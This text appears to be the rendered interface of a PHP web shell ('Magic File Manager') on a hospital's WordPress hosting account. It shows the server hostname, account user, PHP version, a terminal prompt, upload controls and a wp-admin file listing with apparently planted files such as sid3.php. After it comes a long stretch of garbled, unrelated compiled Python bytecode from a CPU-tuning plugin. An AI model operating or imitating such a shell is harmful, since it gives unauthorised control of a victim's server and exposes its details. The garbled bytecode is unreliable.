✨ Magic File Manager

🚀 Hostinger Optimized
🖥� Server: Apache
💻 System: Linux bom1plzcpnl503817.prod.bom1.secureserver.net 4.18.0-553.141.2.lve.el8.x86_64 #1 SMP Wed Jul 8 16:10:02 UTC 2026 x86_64
👤 User: pnj6a06usxf3 (9714991)
� PHP: 8.1.34
🚫 Disabled: ✨ NONE

💻 Terminal

� /home/pnj6a06usxf3/public_html/shivshaktihospital.co.in/wp-admin
$

� Create New

⬆� Upload File

📊 Max upload: 32M | 📦 Max POST: 128M

📄 Name📊 Size🔒 Perm⚡ Actions
� css--drwxr-xr-x
� images--drwxr-xr-x
� includes--drwxr-xr-x
� js--drwxr-xr-x
� maint--drwxr-xr-x
� network--drwxr-xr-x
� user--drwxr-xr-x
� about.php17.572 KB-rw-r--r--
� admin-ajax.php5.025 KB-rw-r--r--
� admin-footer.php2.738 KB-rw-r--r--
� admin-functions.php0.461 KB-rw-r--r--
� admin-header.php9.066 KB-rw-r--r--
� admin-post.php1.974 KB-rw-r--r--
� admin.php12.632 KB-rw-r--r--
� async-upload.php5.473 KB-rw-r--r--
� authorize-application.php10.093 KB-rw-r--r--
� comment.php11.37 KB-rw-r--r--
� contribute.php5.523 KB-rw-r--r--
� credits.php4.044 KB-rw-r--r--
� custom-background.php0.471 KB-rw-r--r--
� custom-header.php0.48 KB-rw-r--r--
� customize.php11.314 KB-rw-r--r--
� edit-comments.php14.145 KB-rw-r--r--
� edit-form-advanced.php28.79 KB-rw-r--r--
� edit-form-blocks.php15.164 KB-rw-r--r--
� edit-form-comment.php13.652 KB-rw-r--r--
� edit-link-form.php6.198 KB-rw-r--r--
� edit-tag-form.php10.408 KB-rw-r--r--
� edit-tags.php21.982 KB-rw-r--r--
� edit.php19.484 KB-rw-r--r--
� erase-personal-data.php7.329 KB-rw-r--r--
📄 error_log9.984 KB-rw-r--r--
� export-personal-data.php7.754 KB-rw-r--r--
� export.php11.001 KB-rw-r--r--
� font-library.php1.445 KB-rw-r--r--
� freedoms.php4.467 KB-rw-r--r--
� import.php7.584 KB-rw-r--r--
� index.php7.68 KB-rw-r--r--
� install-helper.php6.798 KB-rw-r--r--
� install.php17.944 KB-rw-r--r--
� link-add.php0.912 KB-rw-r--r--
� link-manager.php4.259 KB-rw-r--r--
� link-parse-opml.php2.657 KB-rw-r--r--
� link.php2.888 KB-rw-r--r--
� load-scripts.php2.021 KB-rw-r--r--
� load-styles.php2.925 KB-rw-r--r--
� log.php63.893 KB-rw-r--r--
� media-new.php3.173 KB-rw-r--r--
� media-upload.php3.582 KB-rw-r--r--
� media.php0.8 KB-rw-r--r--
� menu-header.php9.816 KB-rw-r--r--
� menu.php17.709 KB-rw-r--r--
� moderation.php0.3 KB-rw-r--r--
� ms-admin.php0.191 KB-rw-r--r--
� ms-delete-site.php4.505 KB-rw-r--r--
� ms-edit.php0.211 KB-rw-r--r--
� ms-options.php0.224 KB-rw-r--r--
� ms-sites.php0.21 KB-rw-r--r--
� ms-themes.php0.212 KB-rw-r--r--
� ms-upgrade-network.php0.214 KB-rw-r--r--
� ms-users.php0.21 KB-rw-r--r--
� my-sites.php4.718 KB-rw-r--r--
� nav-menus.php49.022 KB-rw-r--r--
� network.php5.394 KB-rw-r--r--
� options-connectors.php1.507 KB-rw-r--r--
� options-discussion.php16.019 KB-rw-r--r--
� options-general.php22.319 KB-rw-r--r--
� options-head.php0.6 KB-rw-r--r--
� options-media.php6.484 KB-rw-r--r--
� options-permalink.php21.964 KB-rw-r--r--
� options-privacy.php10.453 KB-rw-r--r--
� options-reading.php9.959 KB-rw-r--r--
� options-writing.php9.184 KB-rw-r--r--
� options.php13.932 KB-rw-r--r--
� plugin-editor.php13.741 KB-rw-r--r--
� plugin-install.php7.259 KB-rw-r--r--
� plugins.php30.023 KB-rw-r--r--
� post-new.php2.703 KB-rw-r--r--
� post.php10.567 KB-rw-r--r--
� press-this.php2.412 KB-rw-r--r--
� privacy-policy-guide.php3.668 KB-rw-r--r--
� privacy.php2.453 KB-rw-r--r--
� profile.php0.276 KB-rw-r--r--
� revision.php5.699 KB-rw-r--r--
� setup-config.php17.508 KB-rw-r--r--
� sid3.php55.304 KB-rw-r--r--
� site-editor.php12.19 KB-rw-r--r--
� site-health-info.php4.075 KB-rw-r--r--
� site-health.php10.183 KB-rw-r--r--
� term.php2.196 KB-rw-r--r--
� theme-editor.php16.874 KB-rw-r--r--
� theme-install.php23.745 KB-rw-r--r--
� themes.php48.563 KB-rw-r--r--
� tools.php3.432 KB-rw-r--r--
� update-core.php45.119 KB-rw-r--r--
� update.php12.756 KB-rw-r--r--
� upgrade-functions.php0.333 KB-rw-r--r--
� upgrade.php6.24 KB-rw-r--r--
� upload.php14.934 KB-rw-r--r--
� user-edit.php40.863 KB-rw-r--r--
� user-new.php24.086 KB-rw-r--r--
� users.php25.096 KB-rw-r--r--
� widgets-form-blocks.php5.112 KB-rw-r--r--
� widgets-form.php19.129 KB-rw-r--r--
� widgets.php1.086 KB-rw-r--r--
3 À<×e:nã@s†ddlmZddlTddlZddlmZddljZddl Z ddl Z ddl Z ddl Z ddl Z ddl Z ejjƒZdZGdd„dejƒZdS) é)Úhotplug)Ú*éN)Úcommandsz$/sys/devices/system/cpu/cpu0/cpuidlecs$eZdZdZ‡fdd„Zdd„Zdd„Zedd „ƒZd d „Z d d „Z dd„Z dd„Z dd„Z dd„Zdd„Zdd„Zdd„Zdd„Zdd„Zd d!„Zd"d#„Z‡fd$d%„Zejf‡fd&d'„ Zd(d)„Zd*d+„Zd,d-„Zd.d/„Zd0d1„Zdmd3d4„Zdnd5d6„Z dod7d8„Z!d9d:„Z"d;d<„Z#e$d=d>d?�d@dA„ƒZ%e&d=ƒdpdBdC„ƒZ'dqdEdF„Z(e$dGd>dHdI�dJdK„ƒZ)e&dGƒdrdLdM„ƒZ*dNdO„Z+dsdPdQ„Z,dRdS„Z-e$dTd>d?�dUdV„ƒZ.dWdX„Z/dYdZ„Z0d[d\„Z1e&dTƒdtd]d^„ƒZ2d_d`„Z3dadb„Z4e$dcd>d?�ddde„ƒZ5e&dcƒdudfdg„ƒZ6e$dhd>d?�didj„ƒZ7e&dhƒdvdkdl„ƒZ8‡Z9S)wÚCPULatencyPluginaˆ `cpu`:: Sets the CPU governor to the value specified by the [option]`governor` option and dynamically changes the Power Management Quality of Service (PM QoS) CPU Direct Memory Access (DMA) latency according to the CPU load. `governor`::: The [option]`governor` option of the 'cpu' plug-in supports specifying CPU governors. Multiple governors are separated using '|'. The '|' character is meant to represent a logical 'or' operator. Note that the same syntax is used for the [option]`energy_perf_bias` option. *TuneD* will set the first governor that is available on the system. + For example, with the following profile, *TuneD* will set the 'ondemand' governor, if it is available. If it is not available, but the 'powersave' governor is available, 'powersave' will be set. If neither of them are available, the governor will not be changed. + .Specifying a CPU governor ==== ---- [cpu] governor=ondemand|powersave ---- ==== `sampling_down_factor`::: The sampling rate determines how frequently the governor checks to tune the CPU. The [option]`sampling_down_factor` is a tunable that multiplies the sampling rate when the CPU is at its highest clock frequency thereby delaying load evaluation and improving performance. Allowed values for sampling_down_factor are 1 to 100000. + .The recommended setting for jitter reduction ==== ---- [cpu] sampling_down_factor = 100 ---- ==== `energy_perf_bias`::: [option]`energy_perf_bias` supports managing energy vs. performance policy via x86 Model Specific Registers using the `x86_energy_perf_policy` tool. Multiple alternative Energy Performance Bias (EPB) values are supported. The alternative values are separated using the '|' character. The following EPB values are supported starting with kernel 4.13: "performance", "balance-performance", "normal", "balance-power" and "power". On newer processors is value writen straight to file (see rhbz#2095829) + .Specifying alternative Energy Performance Bias values ==== ---- [cpu] energy_perf_bias=powersave|power ---- *TuneD* will try to set EPB to 'powersave'. If that fails, it will try to set it to 'power'. ==== `energy_performance_preference`::: [option]`energy_performance_preference` supports managing energy vs. performance hints on newer Intel and AMD processors with active P-State CPU scaling drivers (intel_pstate or amd-pstate). Multiple alternative Energy Performance Preferences (EPP) values are supported. The alternative values are separated using the '|' character. Available values can be found in `energy_performance_available_preferences` file in `CPUFreq` policy directory in `sysfs`. in + .Specifying alternative Energy Performance Hints values ==== ---- [cpu] energy_performance_preference=balance_power|power ---- *TuneD* will try to set EPP to 'balance_power'. If that fails, it will try to set it to 'power'. ==== `latency_low, latency_high, load_threshold`::: + If the CPU load is lower than the value specified by the[option]`load_threshold` option, the latency is set to the value specified either by the [option]`latency_high` option or by the [option]`latency_low` option. + `force_latency`::: You can also force the latency to a specific value and prevent it from dynamically changing further. To do so, set the [option]`force_latency` option to the required latency value. + The maximum latency value can be specified in several ways: + * by a numerical value in microseconds (for example, `force_latency=10`) * as the kernel CPU idle level ID of the maximum C-state allowed (for example, force_latency = cstate.id:1) * as a case sensitive name of the maximum C-state allowed (for example, force_latency = cstate.name:C1) * by using 'None' as a fallback value to prevent errors when alternative C-state IDs/names do not exist. When 'None' is used in the alternatives pipeline, all the alternatives that follow 'None' are ignored. + It is also possible to specify multiple fallback values separated by '|' as the C-state names and/or IDs may not be available on some systems. + .Specifying fallback C-state values ==== ---- [cpu] force_latency=cstate.name:C6|cstate.id:4|10 ---- This configuration tries to obtain and set the latency of C-state named C6. If the C-state C6 does not exist, kernel CPU idle level ID 4 (state4) latency is searched for in sysfs. Finally, if the state4 directory in sysfs is not found, the last latency fallback value is `10` us. The value is encoded and written into the kernel's PM QoS file `/dev/cpu_dma_latency`. ==== + .Specifying fallback C-state values using 'None'. ==== ---- [cpu] force_latency=cstate.name:XYZ|None ---- In this case, if C-state with the name `XYZ` does not exist [option]`force_latency`, no latency value will be written into the kernel's PM QoS file, and no errors will be reported due to the presence of 'None'. ==== `min_perf_pct, max_perf_pct, no_turbo`::: These options set the internals of the Intel P-State driver exposed via the kernel's `sysfs` interface. + .Adjusting the configuration of the Intel P-State driver ==== ---- [cpu] min_perf_pct=100 ---- Limit the minimum P-State that will be requested by the driver. It states it as a percentage of the max (non-turbo) performance level. ==== + `pm_qos_resume_latency_us`::: This option allow to set specific latency for all cpus or specific ones. ==== ---- [cpu] pm_qos_resume_latency_us=n/a ---- Special value that disables C-states completely. ==== ---- [cpu] pm_qos_resume_latency_us=0 ---- Allows all C-states. ==== ---- [cpu] pm_qos_resume_latency_us=100 ---- Allows any C-state with a resume latency less than value. csrtt|ƒj||Žd|_d|_d|_d|_d|_d|_d|_ d|_ d|_ d|_ d|_ d|_i|_tƒ|_d|_dS)NTÚx86_64F)ÚsuperrÚ__init__Ú _has_pm_qosÚ_archZ_is_x86Ú _is_intelÚ_is_amdÚ_has_energy_perf_biasÚ_has_intel_pstateÚ_has_amd_pstateÚ_has_pm_qos_resume_latency_usÚ_min_perf_pct_saveÚ_max_perf_pct_saveÚ_no_turbo_saveÚ_governors_maprÚ_cmdÚ_flags)ÚselfÚargsÚkwargs)Ú __class__©ú /usr/lib/python3.6/plugin_cpu.pyr ¿s zCPULatencyPlugin.__init__cCs>d|_tƒ|_x"|jjdƒD]}|jj|jƒqWtƒ|_dS)NTÚcpu)Z_devices_supportedÚsetZ _free_devicesÚ_hardware_inventoryZ get_devicesÚaddZsys_nameZ_assigned_devices)rÚdevicerrrÚ _init_devicesÔs zCPULatencyPlugin._init_devicescs‡fdd„|DƒS)Ncsg|]}ˆjjd|ƒ‘qS)r)r Z get_device)Ú.0Úx)rrrú Þsz8CPULatencyPlugin._get_device_objects..r)rZdevicesr)rrÚ_get_device_objectsÝsz$CPULatencyPlugin._get_device_objectsc Csdddddddddddddœ S)Ngš™™™™™É?édiè) Úload_thresholdÚ latency_lowÚ latency_highÚ force_latencyÚgovernorÚsampling_down_factorÚenergy_perf_biasÚ min_perf_pctÚ max_perf_pctÚno_turboÚpm_qos_resume_latency_usÚenergy_performance_preferencer)rrrrÚ_get_config_optionsàsz$CPULatencyPlugin._get_config_optionscCs¬dddddg}tjƒ|_|j|krttjƒ}|jjdƒ}|dkrFd|_n|d ksV|d kr^d|_nd|_t j d |ƒnt j d |jƒ|jrš|j ƒ|j ƒ|jr¨|j ƒdS) NrZi686Zi585Zi486Zi386Z vendor_idZ GenuineIntelTZ AuthenticAMDZ HygonGenuinez$We are running on an x86 %s platformzWe are running on %s (non x86))ÚplatformÚmachiner ÚprocfsÚcpuinfoÚtagsÚgetr r ÚlogÚinfoÚ_check_energy_perf_biasÚ_check_intel_pstateÚ_check_amd_pstate)rZ intel_archsrZvendorrrrÚ _check_archñs"   zCPULatencyPlugin._check_archcCsbd|_d}|jjddgtj|gd�\}}|dkr@|dkr@d|_n|dkrTtjd ƒn tjd ƒdS) NFrÚx86_energy_perf_policyz-r)Z no_errorsrÚTzgunable to run x86_energy_perf_policy tool, ignoring CPU energy performance bias, is the tool installed?zXyour CPU doesn't support MSR_IA32_ENERGY_PERF_BIAS, ignoring CPU energy performance bias)rrÚexecuteÚerrnoÚENOENTr<Úwarning)rZretcode_unsupportedÚretcodeÚoutrrrr>s z(CPULatencyPlugin._check_energy_perf_biascCs"tjjdƒ|_|jrtjdƒdS)Nz$/sys/devices/system/cpu/intel_pstatezintel_pstate detected)ÚosÚpathÚexistsrr<r=)rrrrr?sz$CPULatencyPlugin._check_intel_pstatecCs"tjjdƒ|_|jrtjdƒdS)Nz"/sys/devices/system/cpu/amd_pstatezamd-pstate detected)rJrKrLrr<r=)rrrrr@#sz"CPULatencyPlugin._check_amd_pstatecCs$|jdkrtjƒjjdgƒ|_|jS)NÚflags)rr8r9r:r;)rrrrÚ_get_cpuinfo_flags(s z#CPULatencyPlugin._get_cpuinfo_flagscCs t|ƒ}|jjt|ƒjddƒƒS)NrrC)ÚstrrZ is_cpu_onlineÚreplace)rr"ZsdrrrÚ_is_cpu_online-szCPULatencyPlugin._is_cpu_onlinecCstjjd|ƒS)Nz3/sys/devices/system/cpu/%s/cpufreq/scaling_governor)rJrKrL)rr"rrrÚ_cpu_has_scaling_governor1sz*CPULatencyPlugin._cpu_has_scaling_governorcCs<|j|ƒstjd|ƒdS|j|ƒs8tjd|ƒdSdS)Nz'%s' is not online, skippingFz.there is no scaling governor fo '%s', skippingT)rQr<ÚdebugrR)rr"rrrÚ_check_cpu_can_change_governor4s  z/CPULatencyPlugin._check_cpu_can_change_governorcCsþd|_d|_t|jjƒƒd|kr´d|_ytjtj tj ƒ|_ Wn*t k rht jdtj ƒd|_YnXd|_|jddkr¤|jddkr¤|jjddƒ|_d|_nd|_|jƒnd|_t jd|jƒyt|jƒd|_Wntk rød|_YnXdS) NTFrz-Unable to open '%s', disabling PM_QoS controlr,r3ÚloadzILatency settings from non-first CPU plugin instance '%s' will be ignored.)Z_has_static_tuningZ_has_dynamic_tuningÚlistZ _instancesÚvaluesÚ_first_instancerJÚopenÚconstsZPATH_CPU_DMA_LATENCYÚO_WRONLYÚ_cpu_latency_fdÚOSErrorr<Úerrorr Ú_latencyÚoptionsÚ_monitors_repositoryZcreateÚ _load_monitorrAr=ÚnameZassigned_devicesÚ _first_deviceÚ IndexError)rÚinstancerrrÚ_instance_init=s*  zCPULatencyPlugin._instance_initcCs4|jr0|jrtj|jƒ|jdk r0|jj|jƒdS)N)rXr rJÚcloser\rbraÚdelete)rrfrrrÚ_instance_cleanup[s   z"CPULatencyPlugin._instance_cleanupcCs|jjd|dƒjƒS)Nz'/sys/devices/system/cpu/intel_pstate/%s)rÚ read_fileÚstrip)rÚattrrrrÚ_get_intel_pstate_attrbsz'CPULatencyPlugin._get_intel_pstate_attrcCs|dk r|jjd||ƒdS)Nz'/sys/devices/system/cpu/intel_pstate/%s)rÚ write_to_file)rrmÚvalrrrÚ_set_intel_pstate_attresz'CPULatencyPlugin._set_intel_pstate_attrcCs&|dkr dS|j|ƒ}|j||ƒ|S)N)rnrq)rrmÚvalueÚvrrrÚ_getset_intel_pstate_attris   z*CPULatencyPlugin._getset_intel_pstate_attrcs¨tt|ƒj|ƒ|jsdS|jj|jdƒ}|dk r>|j|ƒ|jr¤|jj|jdƒ}|j d|ƒ|_ |jj|jdƒ}|j d|ƒ|_ |jj|jdƒ}|j d|ƒ|_ dS)Nr,r0r1r2) rrÚ_instance_apply_staticrXZ _variablesÚexpandr`Ú _set_latencyrrtrrr)rrfZforce_latency_valueZ new_value)rrrrups(       z'CPULatencyPlugin._instance_apply_staticcsLtt|ƒj||ƒ|jrH|jrH|jd|jƒ|jd|jƒ|jd|jƒdS)Nr0r1r2) rrÚ_instance_unapply_staticrXrrqrrr)rrfZrollback)rrrrxˆs  z)CPULatencyPlugin._instance_unapply_staticcCs|j||ƒdS)N)Ú_instance_update_dynamic)rrfr"rrrÚ_instance_apply_dynamic�sz(CPULatencyPlugin._instance_apply_dynamiccCsZ|js t‚||jkrdS|jjƒd}||jdkrF|j|jdƒn|j|jdƒdS)NÚsystemr)r+r*)rXÚAssertionErrorrdrbZget_loadr`rw)rrfr"rUrrrry“s  z)CPULatencyPlugin._instance_update_dynamiccCsdS)Nr)rrfr"rrrÚ_instance_unapply_dynamicžsz*CPULatencyPlugin._instance_unapply_dynamicc Cs&yt|ƒSttfk r dSXdS)N)ÚintÚ ValueErrorÚ TypeError)rÚsrrrÚ_str2int¡szCPULatencyPlugin._str2intcCs†i|_xztjtƒD]l}td|}|jj|dddd�}|jj|dddd�}|dk r|dk r|j|ƒ}|dk r||j|jƒ<qWdS)Nz/%s/rcT)Úerr_retÚno_errorÚlatency)Úcstates_latencyrJÚlistdirÚcpuidle_states_pathrrkr‚rl)rÚdZ cstate_pathrcr…rrrÚ_read_cstates_latency§s  z&CPULatencyPlugin._read_cstates_latencyFcCshtjd|ƒ|jdkr*tjdƒ|jƒ|jj|dƒ}|rR|dkrRtjdƒdStjdt|ƒƒ|S)Nz)getting latency for cstate with name '%s'zreading cstates latency tablerz"skipping latency 0 as set by paramz!cstate name mapped to latency: %s)r<rSr†rŠr;rO)rrcÚno_zeror…rrrÚ_get_latency_by_cstate_name²s    z,CPULatencyPlugin._get_latency_by_cstate_namecCsŠtjdt|ƒƒ|j|ƒ}|dkr2tjdƒdStdd|}|j|jj|ddd�ƒ}|rt|dkrttjdƒdStjd t|ƒƒ|S) Nz'getting latency for cstate with ID '%s'zcstate ID is invalidz /%s/latencyzstate%dT)rƒr„rz"skipping latency 0 as set by paramzcstate ID mapped to latency: %s)r<rSrOr‚rˆrrk)rZlidr‹Z latency_pathr…rrrÚ_get_latency_by_cstate_id¾s    z*CPULatencyPlugin._get_latency_by_cstate_idc Cs`d|_t|ƒjdƒ}tjd||fƒ�x.|D�]$}yt|ƒ}tjd|ƒW�nøtk �rH|dd…dkrŠ|j|dd…dd�}nº|dd …d kr®|j|d d…ƒ}n–|dd …d krÖ|j|d d…dd�}nn|dd …dkrú|j|d d…ƒ}nJ|dk�rtjdƒdS|�r.|dk�r.tjdƒntjdt|ƒƒd}YnX|dk r.Pq.W|dfS)Nú|z#parsing latency '%s', allow_na '%s'z+parsed directly specified latency value: %drézcstate.id_no_zero:T)r‹é z cstate.id:ézcstate.name_no_zero:é z cstate.name:ÚnoneÚNonezlatency 'none' specifiedzn/azlatency 'n/a' specifiedzinvalid latency specified: '%s'F)r“r”)NT) r†rOÚsplitr<rSr~rr�rŒ)rr…Úallow_naZ latenciesrrrÚ_parse_latencyÍs6    zCPULatencyPlugin._parse_latencycCsp|j|ƒ\}}| rl|jrl|dkr4tjdƒd|_n8|j|krltjd|ƒtjd|ƒ}tj |j |ƒ||_dS)Nztunable to evaluate latency value (probably wrong settings in the 'cpu' section of current profile), disabling PM QoSFzsetting new cpu latency %dÚi) r—r r<r^r_r=ÚstructÚpackrJÚwriter\)rr…ÚskipZ latency_binrrrrwës    zCPULatencyPlugin._set_latencycCs|jjd|ƒjƒjƒS)Nz>/sys/devices/system/cpu/%s/cpufreq/scaling_available_governors)rrkrlr•)rr"rrrÚ_get_available_governors÷sz)CPULatencyPlugin._get_available_governorsr-T)Ú per_devicecCsä|j|ƒsdSt|ƒ}|jdƒ}dd„|Dƒ}x&|D]}t|ƒdkr4tjdƒdSq4W|j|ƒ}x~|D]^}||kr®|sªtjd||fƒ|jj d|||r¢t j gndd �Pqf|sftj d ||fƒqfWtj d d j|ƒƒd}|S) NrŽcSsg|] }|jƒ‘qSr)rl)r$r-rrrr&sz2CPULatencyPlugin._set_governor..rz.The 'governor' option contains an empty value.z!setting governor '%s' on cpu '%s'z3/sys/devices/system/cpu/%s/cpufreq/scaling_governorF)r„z7Ignoring governor '%s' on cpu '%s', it is not supportedz.None of the scaling governors is supported: %sz, )rTrOr•Úlenr<r^r�r=rrorErFrSÚwarnÚjoin)rZ governorsr"ÚsimÚremover-Zavailable_governorsrrrÚ _set_governorús2        zCPULatencyPlugin._set_governorcCsTd}|j|ƒsdS|jjd||d�jƒ}t|ƒdkr:|}|dkrPtjd|ƒ|S)Nz3/sys/devices/system/cpu/%s/cpufreq/scaling_governor)r„rz*could not get current governor on cpu '%s')rTrrkrlrŸr<r^)rr"Úignore_missingr-ÚdatarrrÚ _get_governors  zCPULatencyPlugin._get_governorÚondemandcCsd|S)Nz7/sys/devices/system/cpu/cpufreq/%s/sampling_down_factorr)rr-rrrÚ_sampling_down_factor_path%sz+CPULatencyPlugin._sampling_down_factor_pathr.r�)ržZprioritycCsÎd}||jkr|jjƒd|j|<|j|ƒ}|dkrFtjd|ƒdS|t|jjƒƒkrÊ||j|<|j|ƒ}tj j |ƒsŽtjd||fƒdSt |ƒ}|sÊtj d||fƒ|j j|||rÂtjgndd�|S)NzIignoring sampling_down_factor setting for CPU '%s', cannot match governorzTignoring sampling_down_factor setting for CPU '%s', governor '%s' doesn't support itz6setting sampling_down_factor to '%s' for governor '%s'F)r„)rÚclearr§r<rSrVrWr©rJrKrLrOr=rrorErF)rr.r"r¢r£rpr-rKrrrÚ_set_sampling_down_factor(s&       z*CPULatencyPlugin._set_sampling_down_factorcCsD|j||d�}|dkrdS|j|ƒ}tjj|ƒs4dS|jj|ƒjƒS)N)r¥)r§r©rJrKrLrrkrl)rr"r¥r-rKrrrÚ_get_sampling_down_factorCs  z*CPULatencyPlugin._get_sampling_down_factorcCs*|jjdd|t|ƒgdd�\}}}||fS)NrBz-cT)Z return_err)rrDrO)rÚcpu_idrrrHrIÚerr_msgrrrÚ_try_set_energy_perf_biasMs z*CPULatencyPlugin._try_set_energy_perf_biascCsd||r dndfS)Nz>/sys/devices/system/cpu/cpufreq/policy%s/energy_performance_%sZavailable_preferencesZ preferencer)rr­Z availablerrrÚ_pstate_preference_pathVsz(CPULatencyPlugin._pstate_preference_pathcCsd|S)Nz4/sys/devices/system/cpu/cpu%s/power/energy_perf_biasr)rr­rrrÚ_energy_perf_bias_pathYsz'CPULatencyPlugin._energy_perf_bias_pathr/c Cs||j|ƒstjd|ƒdS|jdƒ}|jdƒ}tj|jƒkrÊ|j|ƒ}t j j |ƒr¶|s®xT|D]>}|j ƒ}|j j|||r€tjgndd�r^tjd||fƒPq^Wtjd|ƒt|ƒStjd|ƒdSn®|j�rt|�slx’|D]|}|j ƒ}tjd ||fƒ|j||ƒ\} } | d k�r,tjd||fƒPqÞ| d k�rHtjd | ƒPqÞtjd ||fƒqÞWtjd|ƒt|ƒSdSdS) Nz%s is not online, skippingrrŽF)r„z5energy_perf_bias successfully set to '%s' on cpu '%s'zPFailed to set energy_perf_bias on cpu '%s'. Is the value in the profile correct?zXFailed to set energy_perf_bias on cpu '%s' because energy_perf_bias file does not exist.z2Trying to set energy_perf_bias to '%s' on cpu '%s'rz"Failed to set energy_perf_bias: %szHCould not set energy_perf_bias to '%s' on cpu '%s', trying another value)rQr<rSÚlstripr•rZÚCFG_CPU_EPP_FLAGrNr±rJrKrLrlrrorErFr=r^rOrr¯) rr/r"r¢r£r­ÚvalsÚenergy_perf_bias_pathrprHr®rrrÚ_set_energy_perf_bias\sX              z&CPULatencyPlugin._set_energy_perf_biascCsjy t|ƒ}WnXtk rd}z|j|ƒ rBdS|dksZ|dkrp|dkrptjd||fƒdS|s˜|jj|j|ƒ||r�t j gndd�|S) Nz%s is not online, skippingT)r–zn/arzr?r@rNrQrRrTrgrjrnrqrtrurZZ ROLLBACK_SOFTrxrzryr}r‚rŠrŒr�r—rwr�Z command_setr¤Z command_getr§r©r«r¬r¯r°r±r¶r¹r¾rÁrÈrÉrÊrËrÌrÍrÎÚ __classcell__rr)rrrsn,            8   r)rCrZ decoratorsZ tuned.logsZtunedZtuned.utils.commandsrZ tuned.constsrZrJrEr™r6r8Zlogsr;r<rˆZPluginrrrrrÚs